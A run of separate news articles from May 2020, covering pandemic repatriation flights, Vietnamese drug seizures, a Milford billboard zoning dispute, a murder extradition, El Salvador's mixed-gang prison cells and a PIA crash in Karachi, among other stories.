VIJAYAWADA: The first group repatriated under the Kuwait Amnesty Programme reached Vijayawada International Airport at 5 pm on Thursday. The all-women group of 145 foreign returnees belonged to the migrant workers category. As part of the programme, they did not have to pay for the flight tickets. All were shifted to the free government-run quarantine facility at Nuzvid. The women were screened before boarding the flight as well as after their arrival in Vijayawada.

Meanwhile, the Ministry of Civil Aviation has released a set of general guidelines to be followed during the handling of domestic flights, whose operations will resume on May 25. At present, only cargo and flights for evacuation are being operated. Specific operating guidelines are communicated to major stakeholders such as airlines, airports and ground handling agencies.

Speaking to TNIE regarding the preparedness of Vijayawada Airport, Director Giri Madhusudan Rao said, As per the general standard operating procedure, we have already arranged everything. We have opted for maximum use of technology so that human touch can be minimised to the maximum possible extent. A few additions as per the Civil Aviation Ministrys guidelines will also be implemented. While airline operators have been alerted to keep their services ready, no communication regarding resumption of international flights has been received yet from the ministry.
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The verdict

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Pros & Cons

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App freezing and has empty pages

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Synthetic drug use is on the rise in Vietnam, especially among partying young. Photo by Reuters/Romeo Ranoco.

An annual narcotics report on the Asia-Pacific region showed Vietnam seized a record amount of crystal methamphetamine and ketamine last year.

In 2019, Vietnamese police seized 5,500 kg of crystal meth, three times higher than the 1,929 kg of 2018, indicating a rapid expansion of the methamphetamine market, the United Nations Office on Drugs and Crime (UNODC) stated in a report.

Record amounts of the synthetic drug ketamine were also seized in Vietnam last year, driven by a single trafficking case involving over 500 kg, the report said.

The seizure of ketamine increased from 6.2 kg in 2018 to 507.5 kg last year.

In May 2019, Vietnam arrested two Taiwanese and one Chinese and seized 500 kilos of ketamine hidden in a warehouse in HCMC, considered the largest amount of ketamine to have ever been seized in the country.

Police also seized 988,000 of methamphetamine tablets, down from 1.3 million in 2018, the report held.

The amount of heroin seized last year hit a slight decrease from 1,584 kg in 2018 to 1,494 in 2019, while about 600 kg of opium were confiscated, a five-time increase over a year earlier.

Heroin used to be popular among addicts in Vietnam, but many have switched to synthetic drugs.

The number of registered drug users using synthetic drugs have grown from 10.8 percent in 2015 to 60.7 percent last year, the report revealed. Over 50.8 percent of registered users were above 30 while 49 percent were between 16 and 30.

According to the Ministry of Public Security's Drug Crime Investigation Department, the amount of narcotics seized in 2019 was the highest ever, nearly nine tons.

Vietnam is a key trafficking hub for narcotics from the Golden Triangle, an intersection of China, Laos, Thailand, and Myanmar and the world's second largest drug producing area behind the Golden Crescent in South Asia.

The repeated haul of huge amounts of narcotics is occurring despite Vietnam having some of the worlds toughest drug laws. Those convicted of possessing or smuggling more than 600 grams of heroin or cocaine or over 2.5 kg of methamphetamine could face capital punishment.

Production or sale of 100 grams of heroin or 300 grams of any other illegal substance is also punishable by death.
The purpose of zoning regulations is to promote the public health, safety and welfare of the community.

Tuesday, June 2 at 7 p.m., Milfords Planning and Zoning Board will hold a public hearing for a zoning change that would allow six digital billboards on I-95. This is a resubmission of a proposal that was heard six months ago and was denied by a vote of 5-4. A zoning change requires a super-majority (two-thirds) vote for approval. Now six months later, the applicant is resubmitting the very same proposal with the hope that the three newly elected board members can be swayed to vote for approval.

The out of town applicant, Dominick DeMartino, owns one of the billboard properties. He is supported in his application by local developer, Louis DAmato, who owns at least four of the others. Mr. DAmato has twice applied for approval to digitalize one of his signs using the current Special Exception provision that requires board review and public hearing. His requests were denied.

Working with lawyer Kevin Curseadan, new regulations were crafted to meet their need; a change specifically targeting the signs on the I-95 corridor where their properties are located. If the proposal is approved electronic billboards would be reviewed over the counter by staff and would no longer require Board review and a public hearing. And this would make it that much easier for any property included in the targeted zones to get approval for future billboards.

To be clear then, there is already a provision in the regulations that allows an applicant to apply using the Special Exception provision, as Mr. DAmato did in the past, requiring board review and a public hearing. Its hard to understand why the Board would vote to forego this oversight responsibility, especially with such a controversial issue.

You can find the applicants proposal on the city website: www.ci.us/planning-and-zoning-board. It is located on the left side of the page under #20-5. There you will find an extensive section on safety studies. The most touted is a 2013 study by the Federal Highway Administration concluding that digital signs do not cause a safety hazard. However, since that report was released it has been peer reviewed by 14 international experts and was found to be seriously flawed, and in fact did NOT prove that digital signs were without risk. See www.enotrans.org/article/fhwas-2013-research-report-digital-billboard. Other studies cited also claim no safety hazard, but a quick Google search will show studies that say the opposite. Given the difference in research findings, any research study to be used as evidence of safety should at least be conducted on the Milford I-95 corridor.

It is worth noting the number of municipalities, states and countries that do not allow digital signs. On I-95 in Greenwich, Norwalk, Darien, Westport, Branford, Guilford, Madison and all points north on I-95. We believe Milford should join the ranks of municipalities not allowing digital signs.

Rhode Island is currently reviewing digital billboards. Alaska, Vermont, New Hampshire, Maine ban them altogether. Sweden approved digital signs in 2006, then after a safety study in 2009 removed all digital signs in the country. Both Swedish researchers at the National Road and Research Institute and at Virginia Tech concluded that taking your eyes off the road for more than two seconds greatly increases the risk of a crash. Studies have shown that 80% of all crashes involve driver inattention.

In other research it has been established that younger drivers, older drivers and people with certain neurological conditions are particularly vulnerable to distraction.

Along with the request for the zoning amendment, the applicant is offering the use of one billboard for announcements of city events and for use by small business owners for advertising. There is no information about management, cost, time limits, who could advertise or what type of advertising, who would be responsible for the management etc. This offer appears to be a  trust us good faith agreement with no information delineating the parameters/details. There is no binding agreement entered into the record.

Plain and simple, billboards are meant to distract, meant to divert your attention from the road. No research has proven without a doubt that billboards are not a safety hazard.

Questions:

1. Is this what we want for the people Milford?

2. Does this proposal meet the criteria of regulations: to promote the public health, safety and welfare of the community?

3. Is the monetary gain for the applicant and other involved parties equal to benefits to the city?

4. What exactly is the gain for the people Milford?

5. Should the Planning and Zoning Board give up their oversight function and permit these six billboards, and possibly future billboards, to over the counter approval eliminating any possibility of Board review or public input?

If you would like to comment on this issue letters can be submitted to: Land Use and Permitting Office, 70 West River St, Milford 06460. Email to: www.ci.milford.ct.us/permitting-and-land-use or you can attend the public hearing by using the Zoom video app. You can download the basic Zoom app at no cost.

To join the public hearing go to the city website (see above) where the agenda will be posted. At the top of the agenda you will see ZOOM in red. Just click and you should have access to the meeting.

Signers,

Jeanne Cervin, Bryan Anderson, Kim Rose, Frank Smith, Ellen Beatty, Janet McAllister, Barbara Milton, Ann Berman, Dominic Cotton, Jane H Platt, Richard N Platt, JR, John Grant, Donna Dutko, Sandra Morgan, Sarah Bromley, Nancy Iddings, Mary E Oake, Caraly Benak Schultz, Gail Dymling, Teresa Sirico, Laura Fucci, Jill Dion, Cheryl Cappaili, Joy Duva, Stacy Clark
Three years ago, police say, a jealous Canadian named Matthew McGowan stalked a man who had briefly dated his girlfriend, then gunned him down outside a South Beach apartment building.

Before detectives could arrest McGowan, he flew one-way to Dubai and vanished.

But McGowan is now back on American soil after prosecutors succeeded in extraditing him from Thailand. In the custody of U.S. Marshals, McGowan landed on a flight at Miami International Airport early Friday and was immediately booked into a Miami-Dade jail.

He is being charged with second-degree murder of Jose Alberto Martinez Valenzuela. At the time, the case received minimal media attention  Valenzuela was ambushed on a residential block of Lincoln Road days after Hurricane Irma struck South Florida.

The extradition was secured by the Miami-Dade State Attorneys Extradition Unit, the U.S. Department of Justices Office of International Affairs, the U.S. Marshals, along with Interpol, the FBI and Miami Beach police.

McGowan, 31, hailed from Toronto, where he met his girlfriend. They moved to South Florida in April 2016.

But according to an arrest warrant, the relationship was stormy  the woman told police that McGowan drank too much, cheated and used steroids. During one of their breakups, she met Valenzuela, who worked as a dancer at South Beachs Twist nightclub and as a security guard at La Cueva bar.

Matthew McGowan

Valenzuela and the woman dated only about two weeks, police learned. The woman returned to McGowan, who found out about the fleeting relationship.

McGowan began to challenge, stalk and threaten Valenzuela, even creating a fake Instagram account of a woman in trying to lure the man into a showdown, police said.

On Sept. 16, 2017, about 4:20 a.m., police believe McGowan parked his Toyota Corolla outside Valenzuelas apartment building. A witness saw McGowan retrieve a shotgun, confront Valenzuela, chase him down and fire about five times, the warrant said.

Valenzuela, shot in the head, was taken to Ryder Trauma Center at Jackson Memorial Hospital. He died after six days in a coma.

Story continues

Miami Beach homicide detectives pieced together the case through witnesses and surveillance footage showing McGowan and his car at and near the scene, according to the warrant. Police later found McGowans Toyota, which had been sold to CarMax, and found five spent bullet casings inside the trunk  casings just like ones found at the scene.

Detectives found that McGowan left Miami on a one-way ticket to Dubai.

Thai authorities arrested McGowan in November 2018, and hed been in custody ever since. A Thai appeals court, at the end of February, rejected McGowans appeal, according to the Bangkok Post.
Universal Orlando is aiming to reopen its theme parks in early June, a resort official said Thursday, more than two months after the company joined crosstown rivals Disney World and SeaWorld in closing their gates to stop the spread of the new coronavirus.

Universal Orlando executive John Sprouls asked Orange County Mayor Jerry Demings for approval to open the company's theme parks as early as June 5, the Orlando Sentinel reported.

Demings must sign off on Universal's reopening plan before it heads to Florida Gov. Ron DeSantis for his approval, the newspaper said.

Universal, Disney World and SeaWorld have been closed since mid-March in an effort to stop the virus's spread.

During a tourism forum in Orlando with Vice President Mike Pence on Wednesday, SeaWorld's interim CEO, Marc Swanson, said he also expected a reopening in June. Officials with Disney World haven't said when they plan to reopen.

Both Disney and Universal in Orlando have reopened shopping complexes and restaurants in the past week, with several restrictions. All workers and visitors must wear masks, although Disney exempts children under age 3.

Temperatures are checked at entrances to keep out anyone with a fever of 100.4 degrees (38 degrees Celsius) or higher and a limited number of people are admitted to allow social distancing.

Many of those same protocols will be implemented at the theme parks.

Children's play areas will remain closed and employees won't be sharing wardrobes, Sprouls said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Two children have died in hospital as a GP raised concerns patients are staying away over fears about catching coronavirus.

GP Dr Manpinder Sahota, from Gravesend, Kent, said a paediatric consultant called him up and voiced their concerns to him after both children suffered non-Covid related deaths at Darent Valley Hospital in Dartford.

Senior public health figures have repeatedly raised concerns about people not attending hospitals for non-coronavirus related conditions during the pandemic.

It comes as NHS statistics revealed April was the quietest month ever for A&E departments across England with only 916,581 emergency department visits recorded.

Priti Patel announced 351 more coronavirus deaths in Britain today, taking the official number of victims to 36,393.

Dr Manpinder Sahota, a GP from Gravesend, Kent, said a paediatric consultant called him up to say they were worried two children had died in the Dartford hospital because of a reluctance to going to hospital

Although the A&E admission figures appear to now be returning to normal levels, NHS England national medical director Stephen Powis stated there were concerns peoples' worries about the virus and not wanting to burden the NHS were forcing them to attempt to care for themselves instead of going to to hospital.

Dr Sahota, who works at Pelham Medical Centre, said he wanted to get the message out to the public that people should go to hospital if necessary, especially children 'because they are coming in very, very ill'.

Details regarding the two children's ages and why they were admitted to hospital are yet to be disclosed. They died at the hospital around three weeks ago.

The Mirror reported Dr Sahota said: 'Parents were actually frightened to bring their kids in and some of them are either dying at home or its too late when they do get to hospital.

'But hospitals have been cleaned and disinfected and all the Covid patients are separated  so the risk of catching it is not huge.

'Theres a lot of people who will be dead or dying, or have a poor prognosis as a result because of these non-Covid late presentations.'

The GP said he believes the number of non-coronavirus deaths will increase dramatically in the next three to six months.

He stated he estimates bookings to his surgery have dropped by two-thirds since the pandemic despite him trying to persuade patients to come in.

His patients reported they were too scared to come in to the surgery also resulting in a decrease in referrals, including cancer referrals.

During the crisis and subsequent lockdown, people have been avoiding hospitals out of fear of adding extra pressure to the NHS or catching the virus while they're in the hospital, doctors say.

A&E departments saw fewer visitors than ever in April but NHS spokesman Stephen Powis said levels were beginning to return to normal

Medics warn the massive change in behaviour is a 'ticking time bomb' which may result in more people ending up seriously ill or dying in the near future because they avoided getting medical help when they needed it.

Dr Nick Scriven, of the Society for Acute Medicine, which represents hospital doctors, said the drop in A&E attendances in April was 'a significant concern' and people's conditions may have worsened as a result.

'This is a ticking timebomb in itself and it will be exacerbated by a myriad of other pressures in the coming weeks,' he said.

'There will be an ongoing need to keep people with coronavirus separate from others to prevent transmission, with segregated wards effectively reducing immediately available beds, so attempting to manage increased demand will be very challenging.'
Two passengers killed in a crash in Limestone County on Thursday night have now been identified as 25-year-old Samantha Riggs and 36-year-old Cody James Barnes.

Limestone County Coroner Mike West released their names to AL.com on Friday morning. Also killed in the crash was Gregory Keith McCluskey, the 40-year-old driver whose name was released by state troopers Thursday night.

West said none of the three people who died was wearing a seat belt.

The crash happened about five miles west of Athens on U.S. 72 just after 7 p.m. McCluskey was driving a 2009 Pontiac G6 that was hit by a 2007 GMC Sierra, according to state troopers.

The driver of the GMC was taken by helicopter to Huntsville Hospital.

Further information hasnt been released. State troopers are investigating.
Artist and creative director George McCalman captures the style and personality of attendees at Bay Area events with his illustrations.

As the shelter-in-place initiative was announced in San Francisco back in March, I immediately thought about the creative community (and working-class) in the Bay Area, knowing that they would be among the first wave to feel the economic ripples of the coronavirus. I began interviewing the artists about how theyd been affected by the lockdown. What poured out was bracing and real, but it was also vulnerable and raw. I spoke with a range of people (over Zoom, FaceTime and Google Hangout) at different strata of the cultural class, from the leaders of our local institutions, to performers, to commercial and fine artists to get a sense of their locations (literally and symbolically).

These culture workers as I call them, are another version of first responders; most of the people featured in this column work for themselves. So they understand what financial uncertainty and having a focus outside of an expectation of traditional success feel like. When I began working on this monthly column three years ago, I never envisioned a time in San Francisco when people wouldnt be able to gather. As our notion of cultural intimacy shifts, and the longer this pandemic is present in our collective lives, I keep getting the sense that this new normal could be a chance to create something better than what existed before. Lets hope.

George McCalman

Amy Dabalos, jazz, soul and R&B vocalist and songwriter

Ive fallen into certain days where I dont feel like singing, I dont feel like making art right now. And Im confused and processing my own emotions. The fact that Im going day to day and getting dressed and taking a walk and cooking a meal and that stuff has kind of taken over for me. And Im  when it comes to songwriting  trying to find the words or trying to explore the variety of emotional experiences we can have during this time, without just playing into the irony of it. Like, now were hiding in place.

George McCalman

Risa Culbertson, artist

So I came up with Little Ri because with all the Zoom and FaceTime and everything, I dont even want to look at my face all the time, like what about if I made a little puppet me, and I could talk to other people and it would be like Hi, Risa on the line. And I feel like with puppets and stuff too, people are like more willing to tell you their deep, dirty secrets.

George McCalman

Jason Henry, photographer/photojournalist

Im being extremely intentional with everything, in opening door handles, walking  crossing the sidewalk. I dont do it out of disrespect, but if theyre kind of hogging the sidewalk, Ill walk out into the street. I know that sounds ridiculous, but its about creating, leading by example I guess. Yeah, I definitely called on a couple of my local peers to kind of use their large Instagram followings, but live deviant lifestyles.  I hit them up and I say, I love you to death, but you got to stand up and say something. Because this s is real and its not just a vacation, and you might actually kill someones mother, father or something. Thats not cool. Your street cred is not worth someones life.

George McCalman

Constance Moore, elementary school teacher and artist

Ive cried a lot. Ive really profoundly missed the kids. I miss them so much more than I would have anticipated. I just really miss them. So Im dealing with it by crying a lot. Theres another teacher, first-grade teacher, who is  were having a very similar (experience). We feel really, profoundly off-center. The disconnection is really impacting us both in our art. So we were going back and forth about questions to ask ourselves, you know, like who am I? (laughs). And kind of like investigating who we are and how do we relate to the world without that energy that we get so much from the students. Ive been doing those paper weavings and so thats been about material. Getting my hands on something is helpful. I dont know.

George McCalman

Natalie Baszile, author and filmmaker

So it took me a couple weeks to get to a place where I could be focused, try to be creative, try to manage my own anxieties around my immediate family and our health, and our safety, and our well-being. In terms of my daily life, this has actually been very good for me because its allowed me to focus. Its allowed me to cut through a lot of the chatter, cut through a lot of the sense of what I should be doing and focus on the real work. So in that sense, its been useful. And its been  Id say the first couple of weeks were challenging to really get into the head space. Because of course, like everyone else, I didnt know what this thing was. And it just felt like we were all bracing for  this unknown catastrophe that was so unfamiliar.

George McCalman

Faith Adiele, writer and college professor

My goal of late, maybe of the last five years also, is to try to live a very international life. And so every summer I go to Finland and I work with Afro-Fins and then I go someplace from there. So I already had a residency lined up; I was going to be in Europe the entire summer to work on my book. And so Ive tried to create this, finally, I feel like Im in the position to create the life Id imagined for myself  and then that was brought to a standstill, too, with the shelter in place. Though, as an introvert, I really like being at home (laughs). I dont really have a strong social life in the Bay Area, which is one of the reasons I travel. So its interesting, that kind of pressure.

George McCalman

Maria Jenson, executive director, SOMArts

All of a sudden, what goes into an art event is now made completely clear to people of how many people the arts employ. Its not just this touchy-feely thing all about the artist. Its like the art is its own constellation and its own galaxy. And in that galaxy around each artist theres a lot of other people, theres a lot of support with it. So that support network is one of the first things that collapses along with the artists. And thats why I say no one is winning at this.

George McCalman

Joel Benson, letterpress printer, owner of Dependable Letterpress

We were surprised when things just stopped. Ive never experienced anything like that in 18 years of doing business. And in a way I feel like, Well, it should have stopped. What I do is not essential. It hasnt completely dried up, its not a sustainable amount of work, but its something. I feel confident that when the dust settles, when we are able to establish a new normal, Ill be able to make a place in it. I feel lucky that what I do is very basic and very material. I feel like its not easily destroyed. There will always be paper, there will always be ink.

George McCalman

Peter Prato, photographer

Things get canceled at the last minute all the time for all kinds of reasons, and because I shoot a lot of different types of work and because I have a lot of different relationships with clients, editorial and commercial  so the disruption for me isnt atypical in the sense that theres a lot of relativity typically in my work. The disruption is that everyone is experiencing that relativity that Im used to, everywhere, it seems, like in the country and maybe even on the planet. So in a sense I kinda feel like there is some solidarity I didnt previously have, except with photographers and people who work in the creative community. Especially on the production side.

George McCalman

Kelly Ishikawa, photographer and co-owner of the Perish Trust

Since we really were a brick-and-mortar and not an online store, we are now in the process of opening an online store. This is giving us time to do those projects that have stacked up for years and years. But the reason its become a necessity is because its the only way were going to be able to have contact  for probably months. And thats the part that I dont like, because  I miss it. I miss the customer interaction and that collaboration that happens when youre in a room full of creative people. This is hard. But I guess were going to have to get used to it for a while. Its a wonderful community that we have. (So) I try to stay really positive about that because there are some strong folks out there. Its going to take a lot of work, but yeah 

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

George McCalman

Catharine Clark, gallery director

If you consider that most people in the arts want to talk about ideas and go deep with what art is communicating to them, or their audience, it follows that most of us have conversations on a regular basis about If I could curate this show, if I had more time, if we had not just this gallery space, but another, what else would we be doing? And thankfully those conversations have led to the kind of programming that were trying to do, that is reaching an audience that is, by your words, not just local. I really believe in the aura of the object. And I think that primary experience of an artwork is really difficult to have fully through a virtual space. And its a substitute or an addition or it is life-saving, at the moment.

George McCalman

Myles Thatcher, dancer with San Francisco Ballet and freelance choreographer

As Im dancing in my house I get a little more busted every day. So Ive been trying to be connected to my body in other ways that dont involve ballet, which is really nice. I have bands and a weight so Ive been trying to condition in a way that makes me feel good, in a way that I like my body, in a way that I never get to really get to when Im working. So thats actually been really refreshing, just trying to like  I meditated for the first time in forever the other day and reflected on whats working in my life and whats not. And how can I be more present, and I think theres a lot of beautiful things in there.

George McCalman

Monique Wray, illustrator, animator and artist

(Self) marketing is something Ive been telling myself I need to do for maybe the last couple of months (laughs). But, you know, you have the luxury of not needing to do that so it gets pushed, pushed, pushed to the back burner. So, its now been something that Ive put on the front burner. Ive been working on a personal project that Ive been kinda slogging through, and oh when a client project comes up, it doesnt get the attention it deserves. This past week Ive been SLAYING that project! That project has never seen this level of attention from me (laughs). Ever! Its probably like Girl, whats going on? So its definitely, I think, its made a lot of people do this: re-prioritize.

George McCalman

Woody Othello, artist

I think its hitting me at different levels. Its definitely challenging to feel motivated to work, just because theres so many things going on. So I always have this daily confrontation of not feeling like doing anything and then just distracting myself by cleaning and, like, packing and trying to organize and exercising before I feel like Im in a good head space to work. Its transitioned a lot. Ive shifted from making sculptural work to making drawings, which is like a blessing in disguise. So, its kinda nice to be able to take a break and draw and read and write to help process whats going on. And how Im feeling with everything. I think for a lot of creative people, talking and having the vocal capacity, at least for me that not my forte, so its just been nice to think and, like, have time and space to just process whats going on.

George McCalman

Brion Nuda Rosch, director of artist studios, Minnesota Street Project

I just feel that as artists and creatives, weve always explored the world through a lens that we thought everything was really weird, and we didnt quite believe in the structures and systems that were put into place. And by default, by being an artist or creative, you just view the world that way. And so theres not so much prize of Oh (man), things are really crazy, its more of Oh wow, were all going through this together. So, for better or for worse, I just think that were all coming to an awakening. Lets reset and what do we want? Can we build that together in the future? And Im trying to be as optimistic as I possibly can.

George McCalman

Johanna St. Clair, artist and co-founder of Mollusk

I just had a solo show at Gallery 16 and that was a culminations of years of working in a certain way so its been a nice transition to work in a different way. Sort of like, where do I go after that show? It feels very strange, its still up. Its been up, the show hadnt closed and they went into shelter in place and they had to close the gallery while the show is still up; so its just hanging there suspended and frozen in time. I feel  so strange about that. And I also feel that we were all living in a different universe on Feb. 7 when that show opened.

Follow George McCalman on Instagram and Twitter at @mccalmanco
PHILIPSBURG:---The Department of Community Development, Family & Humanitarian Affairs, which falls under the Ministry of Public Health, Social Development and Labour (Ministry VSA), has been very busy under the auspices of Emergency Support Function 7 (ESF-7), and would like to thank the Chinese Business Community for donating non-perishable and dry goods which allowed for 244 food and care packages to be compiled for distribution.



Members of the Chinese community also assisted with the transportation and loading of the food items which were distributed by K1 Britannia to the most vulnerable persons in the community based on the registrations that the Government received that was entered into a database.



Persons are reminded, those needing assistance should fill in the digital Social Impact Assessment Form by going to the following link for the digital registration system: http://onlineservices.sintmaartengov.org/covid19/SIAForm.aspx



The Social Impact Assessment Form is available on the Government Website for download on smart phones, desktops, or laptops. The forms can also be filled in online and submitted for processing.



There are several sections on the form that needs to be filled in such as Section 1 Personal data, Section 2 Financial/Employment data, and Section 3 Basic Needs Assessment.
SAN SALVADOR, El Salvador  They're rival gang members and they now share a prison cell.

In the midst of the COVID-19 pandemic, El Salvador has adopted an unprecedented measure: putting members of the transnational gangs Mara Salvatrucha, or MS-13, and the two factions of Barrio 18, or 18th Street Gang, together in prisons. The controversial move has generated international attention  as well as fierce criticism.

Since the end of April, "emeeses" and "eighteen men"  as the rival members are known in Spanish  have shared crowded spaces in six prisons across the country. These groups have been deadly rivals since the gang phenomenon erupted in the country in the early 1990s.

"Now we are already living together with our fellow companions from the letters [a reference to MS13], right?" said Ariel Alexander Avila Gomez, an active member of the Barrio 18-Surenos gang who is being held in the Ciudad Barrios prison in San Miguel. "It's something we never would have thought of, right? But we're getting used to each other."

Noticias Telemundo got exclusive access to the Barrios prison, 100 miles east of the capital, San Salvador, and spoke to rival members who had been sharing a cell for several days.

In the three decades since the first graffiti alluding to MS-13 and 18 began to appear in El Salvador, it is the first time that thousands of active members are sleeping literally shoulder to shoulder.

The government's decision to house rival members together came after a killing spree at the end of April.According to the National Police, there were 85 murders, an average of 17 a day, up from two a day.

The government attributed the explosion of violence to MS-13 and said the orders to amp up the violence had come from imprisoned gang leaders.

"We want to prevent orders from going out abroad," said Osiris Luna, the director of the country's prison system. "In previous administrations, penal institutions served as headquarters for a gang to exercise control over the state."

Story continues

Since the gangs have been put together, there haven't been any reports of gang violence.

Inside the Ciudad Barrios prison

More than 2,000 inmates were in three designated areas where rival gang members shared overcrowded cells.

Avila Gomez, of the Barrio 18-Surenos gang, was one of 90 inmates who shared a space designed for 30 people: "Here, as you can see, we are greatly overcrowded  there are 46 of our gang's faction and 44 of the other."

The inmates themselves have organized; each cell has designated one manager per gang. In a section of the jail shared by the MS-13 and 18-Surenos, Avila Gomez's counterpart is Francisco Arturo Quintero.

"We are trying to live together, as my fellow inmate told you. We did not expect this. It has been a surprise for us to be here, but we have coordinated between both gangs so that everything goes well," Quintero said.

The comments reflect a full-blown prison truce  in gang slang, it is called running the South  and it has been implemented simultaneously in the six prisons with active gang members and in the gang sectors of the Zacatecoluca Penal Security Center, known as Zacatraz.

In California, "running the South" applies to the terms the Mexican mafia, known as "La Eme" ("The M"), imposes on its gangs, which operate in the southern half of the state.

Now, it's a general term denoting nonaggression in El Salvador among MS-13, the two factions of Barrio 18 and La Mirada Locos 13, although the latter gang has little territorial control.

A 'truce' across prisons

It is the first time that, in practice, the South, or truce, has been run in the prison system.

A prison intelligence report dated April 29 establishes the agreements and rules for coexistence in the Izalco Phase II Penitentiary Center.

The information, provided by a gang member, refers in principle to practical issues such as the use of toilets and barrels of water, but it also specifies how outbreaks of violence will be resolved. "If they create any problems [inside the cell] and lives are lost, and the one who started does not die, he will have to pay with his life," says one of the nine points in the report.

In September 2004, El Salvador made a controversial public policy move, assigning entire prisons to one gang, because they already had thousands of their members incarcerated.

The measure put a stop to the massacres between the gangs or between gangs and organized gangs of "civilians" [as gang members call non-gang members] within the prisons. But it also internally consolidated criminal structures, so prisons became the command center for the cliques and tribes that operate in thousands of Salvadoran neighborhoods and towns.

In 2016, during President Salvador Sanchez Ceren's administration, the first efforts were made to change that: Some prisons stopped being exclusive to one gang or the other, but they remained isolated from one another within the facility.

Image: Prisoners at Ciudad Barrios in San Salvador (Marlen Vinayo)

From July to August 2019, just after Nayib Bukele became president, there were massive transfers of gang members between prisons, and members of the three gangs were assigned to prisons  and sectors within each prison  that for years had been controlled by a single gang.

The Ciudad Barrios prison had been handed over to MS-13 for almost 15 years. "It was the headquarters of the gang," Osiris Luna said. Since August, rival gangs have shared sectors of the prison but not individual jail cells. That changed in April.

The doors, which were made of bars, have been covered with metal plates. "A total seal, so that they cannot communicate through the sign language they use or through another type of language," Luna said.

"From now on, all the gang cells in our country will remain sealed. They will be inside, in the dark, with their friends from the other gang," Bukele tweeted on April 27. By then, images of hundreds of gang members in their underwear, handcuffed and bumped against one another during a global pandemic, had already traveled the world.

Luna confirmed the prison truce: "There has definitely been no altercation between the gangs in the same cell, and as they have said, they have a nonaggression pact."

What happens next?

Bukele's announcement was fiercely criticized in El Salvador and abroad.

Jose Miguel Vivanco, director of Human Rights Watch's Americas division, said in a BBC interview that the government's new directive showed "wickedness and cruelty," and in a statement he said it is "putting more lives at risk of a potential contagion  inside and outside detention centers."

Via Skype, Vivanco reiterated his objections: "In all the countries of the region, including El Salvador, there is no attempt to put them together, because the risks of them being killed, aggravated or generating a security problem inside the prisons are very high."

Although there haven't been any issues yet, what happens in the longer term remains to be seen.

One possibility is that coexistence leads to an increase in the gangs' collaboration, both inside and outside the prisons. The measure may lead to an increased or more sophisticated level of criminal activity, against the state or against the population in general.

Related: Over 1,000 tourists from Argentina ended up in Miami, exhausting their money and supplies. Some have lost jobs as they've waited to return.

Luis Enrique Amaya, an international security consultant and expert on gangs, believes it is still too early to say what will happen after the prison truce, but he doesn't think their historically deadly rivalry in the streets will end.

Amaya said that in the world of gangs, "it is not correct to think that the prison dictates orders that are automatically and mechanically carried out on the street."

"On the contrary, what happens is a process of dialogue and negotiation between the leaders inside and outside the prisons," he said. "And it is this dialogue that will determine if the South can expand to the rest of the country."

Criminologist Carlos Ponce also expressed reservations about housing gangs together.

"Until recently, prison policy was to segregate gangs into prisons designated exclusively for each. The change is driven by the assumption that the previous policy strengthened the gang organization and that therefore reversing it will have the opposite effect," Ponce wrote in a column May 5 in the newspaper El Diario de Hoy.

In Cell 6 of the prison, inmates seemed OK with the situation. "We were enemies and everything, but now we already know that it is another life that we have to make together  living together as we are today, right?" Avila Gomez, 18, said while Emeese Quintero nodded his head.

A threat amid the coronavirus?

The new measures ordered by Bukele are taking place amid the global COVID-19 pandemic. The government's prison system isn't reporting any infected prisoners  among the more than 37,000 inmates.

Visits in Ciudad Barrios have been prohibited since March 2016, and staffs shift every 21 days to reduce the number of people going in and out of the facility. Barrels of soap and water have been placed in the cells, and the prison has held informational talks about the virus.

"The authorities took some measures and explained to us what the situation was like," said Carlos Geovanny Sanchez Rivera, a member of Barrio 18-Revolucionario, another of the three large gangs that operate in the country. He said that he put his faith in God and that inmates have also taken measures and keep their cells clean.

According to the government, El Salvador hasn't yet seen a high number of COVID-19 cases. As of May 13, the number of confirmed infections was 1,037, and a third of those patients were reported to have recovered. Twenty people have died of the disease, according to the figures.

An earlier version of this story was first reported in Spanish for Noticias Telemundo.

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New Delhi, May 22 : Soon after taking charge as chairman of the WHO's 34-member Executive Board on Friday, India's Health Minister Harsh Vardhan said, "I am aware I am entering this office at a time of global crisis on account of this pandemic." "At a time, when we all understand that there will be many health challenges in the next two decades, all these challenges demand a shared response," said the Union Health Minister in his speech at the 147th session of the WHO Executive Board's meeting after taking charge as Chair.

This comes at a time when the credibility of the World Health Organization (WHO) has plummeted to an all time low and internationally there's a groundswell for new leadership. This is seen as India filling up the leadership vacuum.

"I feel deeply honoured to have the trust and faith of all of you. India, and my countrymen, too, feel privileged that this honour has been bestowed upon us. I will work to realise the collective vision of our organization, to build the collective capacity of all our member nations and to build a heroic collective leadership," added Harsh Vardhan.

This all important Executive Board has 34 members who are technically qualified and represent their nations. All of the 34 are designated by their respective governments to the World Health Assembly, which in this case concluded recently. Harsh Vardhan had made a long speech there about India's response to COVID-19 and how Prime Minister Narendra Modi has shown "leadership" benefiting not just India but the world.

As India's stature rose internationally, Regional Director for WHO South-East Asia Dr Poonam Khetrapal Singh said, "Dr Harsh Vardhan has assumed this post at a very challenging time. I wish him all the best in steering the Executive Board as it addresses this defining pandemic and other public health issues." "The Board meets at least twice a year; the main meeting is normally in January, with a second shorter meeting in May, immediately after the Health Assembly. The main functions of the Executive Board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work," is how WHO describes the Board's job.

The proposal to appoint India's nominee to the Board was signed by the 194-nation World Health Assembly.

While it has not been a sudden decision since last year itself WHO's South East Asia group had decided that India would be elected to the Executive Board for three years from 2020, the timing is extremely crucial.

US President Donald Trump has threatened to permanently halt funding for the WHO if it fails to commit to "substantive improvements" within 30 days. In a letter, Trump also accused WHO chief Tedros Adhanom Ghebreyesus of bias towards China and alleged that the "only way forward for the WHO is if it can actually demonstrate independence from China." The world health body was forced to give its nod for a coronavirus probe, aimed to investigate China's alleged role in hiding crucial details of COVID-19 from the world, after 61 countries had moved a resolution at the WHO's decision-making body asking for an "impartial, independent and comprehensive evaluation".

-- The story has been published from a wire feed without any modifications to the text
A Pakistan International Airlines (PIA) plane with around 100 passengers and crew crashed on Friday in a densely-populated residential area of the city of Karachi, with many feared dead, officials said. At least 45 people were reported killed in the accident that took place days after the coronavirus-induced travel restrictions were lifted in the country.

Flight PK-8303 from Lahore was about to land in Karachi when it crashed at the Jinnah Garden area near Model Colony in Malir, just a minute before its landing, said officials.

